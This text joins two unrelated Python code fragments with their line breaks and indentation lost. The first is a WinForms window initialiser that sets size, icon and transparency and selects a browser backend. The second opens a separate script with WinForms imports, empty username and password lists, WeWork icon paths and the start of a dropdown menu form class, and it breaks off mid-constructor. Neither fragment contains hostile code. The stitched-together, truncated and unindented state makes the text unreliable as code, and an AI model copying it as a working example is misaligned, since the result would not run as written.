def __init__(self, window): self.uid = window.uid self.pywebview_window = window self.real_url = None self.Text = window.title self.Size = Size(window.initial_width, window.initial_height) self.MinimumSize = Size(window.min_size[0], window.min_size[1]) if window.transparent: # window transparency is not supported, as webviews are not transparent. self.BackColor = Color.LimeGreen self.TransparencyKey = Color.LimeGreen self.SetStyle( WinForms.ControlStyles.SupportsTransparentBackColor, True) else: self.BackColor = ColorTranslator.FromHtml( window.background_color) if window.initial_x is not None and window.initial_y is not None: self.move(window.initial_x, window.initial_y) else: self.StartPosition = WinForms.FormStartPosition.CenterScreen self.AutoScaleDimensions = SizeF(96.0, 96.0) self.AutoScaleMode = WinForms.AutoScaleMode.Dpi if not window.resizable: self.FormBorderStyle = WinForms.FormBorderStyle.FixedSingle self.MaximizeBox = False if window.minimized: self.WindowState = WinForms.FormWindowState.Minimized # Application icon handle = kernel32.GetModuleHandleW(None) icon_handle = windll.shell32.ExtractIconW(handle, sys.executable, 0) if icon_handle != 0: self.Icon = Icon.FromHandle( IntPtr.op_Explicit(Int32(icon_handle))).Clone() windll.user32.DestroyIcon(icon_handle) self.closed = window.closed self.closing = window.closing self.shown = window.shown self.loaded = window.loaded self.url = window.real_url self.text_select = window.text_select self.on_top = window.on_top self.is_fullscreen = False if window.fullscreen: self.toggle_fullscreen() if window.frameless: self.frameless = window.frameless self.FormBorderStyle = 0 if is_cef: CEF.create_browser(window, self.Handle.ToInt32(), BrowserView.alert) elif is_chromium: self.browser = Chromium.EdgeChrome(self, window) elif is_edge: self.browser = Edge.EdgeHTML(self, window) else: self.browser = IE.MSHTML(self, window) self.Shown += self.on_shown self.FormClosed += self.on_close self.FormClosing += self.on_closing if is_cef: self.Resize += self.on_resize
from System.Windows.Forms import View as winView from System.Windows.Forms import Form from System.Windows.Forms import Application, Form, CheckBox, Form, Label from System.Windows.Forms import DialogResult, GroupBox, FormBorderStyle from System.Windows.Forms import ComboBox, Button, DialogResult, SaveFileDialog UserName = [] UserPass = [] SelectedItem = [] # create a link to the wework icon # just add self.Icon = icon to your form scriptDirectory = os.path.dirname(__main__.__file__) iconFilename = os.path.join(scriptDirectory, 'wework_we.ico') logoFilename = os.path.join(scriptDirectory, 'wework_logo.png') icon = Icon(iconFilename) logo = Bitmap(logoFilename) class FlexibleDropDownMenu(Form): """ This menu expands and contracts based on the number of dictionaries that it is given. A list of headings provides labels for each dropdown and default values are the keys which you want to be default for each dropdown. """ def __init__(self, dropDownDictList, dropDownHeadings, defaultValues=[], sort=True): topOffset = 20 spacing = 45 # Create the Form